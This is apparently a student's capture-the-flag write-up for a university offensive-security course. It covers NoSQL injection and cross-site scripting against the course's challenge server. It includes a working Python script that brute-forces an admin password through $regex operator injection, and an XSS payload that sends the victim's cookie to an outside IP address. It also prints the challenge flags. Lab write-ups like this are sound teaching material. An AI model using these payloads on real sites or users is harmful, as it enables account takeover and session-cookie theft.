wk12 - no-SQL, XSS

Theme: no-SQL, brute-force, blind injection

no-sql-1 (100)

Goal

  • Brute-force admin's password (= the flag)

Observations

  • Try to log-in > Inspect Request sent > inputs are wrapped in strings (by browser)

    • Because we want to use query operators for No-SQL, we want the inputs to be JSON objects instead

    • Method: Write a Python requests script to send payload as JSON

Method

  • Make username: {"$gt":""}

    • Assume this will match the admin (the only) user

  • Make password: {"$regex": f"^{flag}{char}"}

    • flag is a string that we gradually build up by brute-forcing character by character

    • char is the character that we try to test

  • Beware Pitfall!

    • For regex characters we want to test, make sure to escape them first using backslash. Otherwise, they will be interpreted as a regex operator and the flag we brute-force will not have the correct characters, but just the regex wildcards like * or ?

Script

import requests
import string

alpha_num = list(string.ascii_lowercase + string.ascii_uppercase + string.digits + '_' + ' ' + '{' + '}' + '!' + string.punctuation + "")
# List of regex operators
regex_operators = [".", "^", "$", "*", "+", "?", "{", "}", "[", "]", "\\", "|", "(", ")"]
# Escape regex operators by prepending a backslash
escaped_alpha_num = []

for char in alpha_num:
	if char in regex_operators:
		escaped_alpha_num.append("\\" + char) # Escape the operator
		# two backslashes bc the first backslash is to escape the 2nd backslash
		# the 2nd backslash is responsible for escaping the char
	else:
		escaped_alpha_num.append(char) # Keep non-operators as they are

alpha_num = escaped_alpha_num

url = "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000/api/login"
headers = {
"Accept-Language": "es-ES,es;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000",
"Referer": "http://offsec-chalbroker.osiris.cyber.nyu.edu:10000/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
cookies = {
"CHALBROKER_USER_ID": "[ID]"	# insert your Net ID
}

flag = ""
i = 0
char = alpha_num[i]
data = {
"username": {"$gt":""},
"password": {"$regex": f"^{char}"}
}

response = requests.post(url, json=data, headers=headers, cookies=cookies)

while True:
	i = 0
	char = alpha_num[i]
	print(f"Trying char {char}......")
	data = {
	"username": {"$gt":""},
	"password": {"$regex": f"^{flag}{char}"}
	}
	response = requests.post(url, json=data, headers=headers, cookies=cookies)

	while response.status_code != 200:
		i += 1
		char = alpha_num[i]
		if (i % 15 == 0):
		print(f"Trying char {char}......")
		data = {
		"username": {"$gt":""},
		"password": {"$regex": f"^{flag}{char}"}
		}
		response = requests.post(url, json=data, headers=headers, cookies=cookies)
		
	print(f"Found char: {char}")

	if len(char) == 3: # is an escaped regex operator
		flag += char[2]
	else:
		flag += char
	
	print(f"Flag is now: {flag}")
	if char == "}": break
  
print("Status Code:", response.status_code)
print("Response Body:")
print(response.text)
print(f"Flag is: {flag}")
chevron-rightFlaghashtag

flag{n0_w4y_y0u_f0und_sup3r_s3cr3t_p4ssw0rd_n0w_try_t0_h4ck_n4s4_0000000000000000}

Nuclear Code Break-In (100)

Topic: No-SQL - Blind

Goal

Infiltrate as admin

Observations

  • Login

    • Try logging in with an account I registered > inspect the POST request > the browser automatically wraps input for username and password each in quotes (sent as strings)

    • I think I need to write a Python script to send the payload as {}

  • Register

    • username

    • password

    • email

    • description

    • ^ how are these used?

    • ^ what if I try to register as admin?

      • "Username already exists" 500 Status Code

        • This is info I can use? Wait actually, I should be going to login and blind-sql? But why would they give me a register page then?

  • Profile (Only after login)

    • ?username=<your username>

    • http://offsec-chalbroker.osiris.cyber.nyu.edu:10001/profile?username=a

    • What if I try: http://offsec-chalbroker.osiris.cyber.nyu.edu:10001/profile?username=admin

      • Unauthorized.

      • So there must be some checking that I don't see in the URL? Because it is a POST request I don't see for example the password variable?

Pitfalls

  • When testing chars with regex expressions, be careful when testing regex special operator chars like * and ?

    • In the list of testable chars, make sure to escape special regex characters with a backslash so that we are testing it as a literal and not using it as a regex

Script

chevron-rightFlaghashtag

flag{y0u_h4v3_n0w_4cc3ss_t0_nucl34r_w34p0n_0000000000000000}

XSS 1 (100)

Given

  • Admin website

    • We enter a URL that the admin will click on

  • Actual website

    • "Get admin's cookie"

    • We enter name input and click enter

Solve

The goal of XSS is to attack another user as a user of the same website. Here, we aim to attack the admin user. Specifically, we attack the admin by stealing their cookie. What can we do?

Let's solve this problem by thinking backwards. To get admin cookie, we want the admin to send their cookie out, to a place where we can read it. Heading onto the website and trying to enter our name, we notice that whatever we enter gets displayed on the page. We can leverage this to display the admin cookie.

Initial thought: let admin click on a URL that contains script to send POST request to the website with their cookie as their "name". Problem: they click on the URL and they see the name displayed on their screen. How do I see it on my screen? We need a way for admin to send the cookie out to ME...

Here are some observations about the website:

  • After entering name, we are led to the /greet page

    • Input gets stored into ?name URL variable

      • We will inject the script tags here

        • Try on our own browser: enter http://offsec-chalbroker.osiris.cyber.nyu.edu:10003/greet?name=_<script>alert(1)</script>_ and we get an alert to the screen!

        • Try on our own browser for name input: <script>var xhr=new XMLHttpRequest();xhr.open('GET','http://68.183.28.210:8000/'+document.cookie,false);xhr.send();</script>

          • It works! I see the GET request when I run a http server on my VM

We go to the actual website and enter for name input: <script>var xhr=new XMLHttpRequest();xhr.open('GET','http://68.183.28.210:8000/'+document.cookie,false);xhr.send();</script>. We take this URL and send it on the admin website: http://offsec-chalbroker.osiris.cyber.nyu.edu:10003/greet?name=%3Cscript%3Evar+xhr%3Dnew+XMLHttpRequest%28%29%3Bxhr.open%28%27GET%27%2C%27http%3A%2F%2F68.183.28.210%3A8000%2F%27%2Bdocument.cookie%2Cfalse%29%3Bxhr.send%28%29%3B%3C%2Fscript%

chevron-rightFlaghashtag

flag{S33_XSS_1snt_s0_h4rd_1s_1t?_b1dba0e9933f5112}

Last updated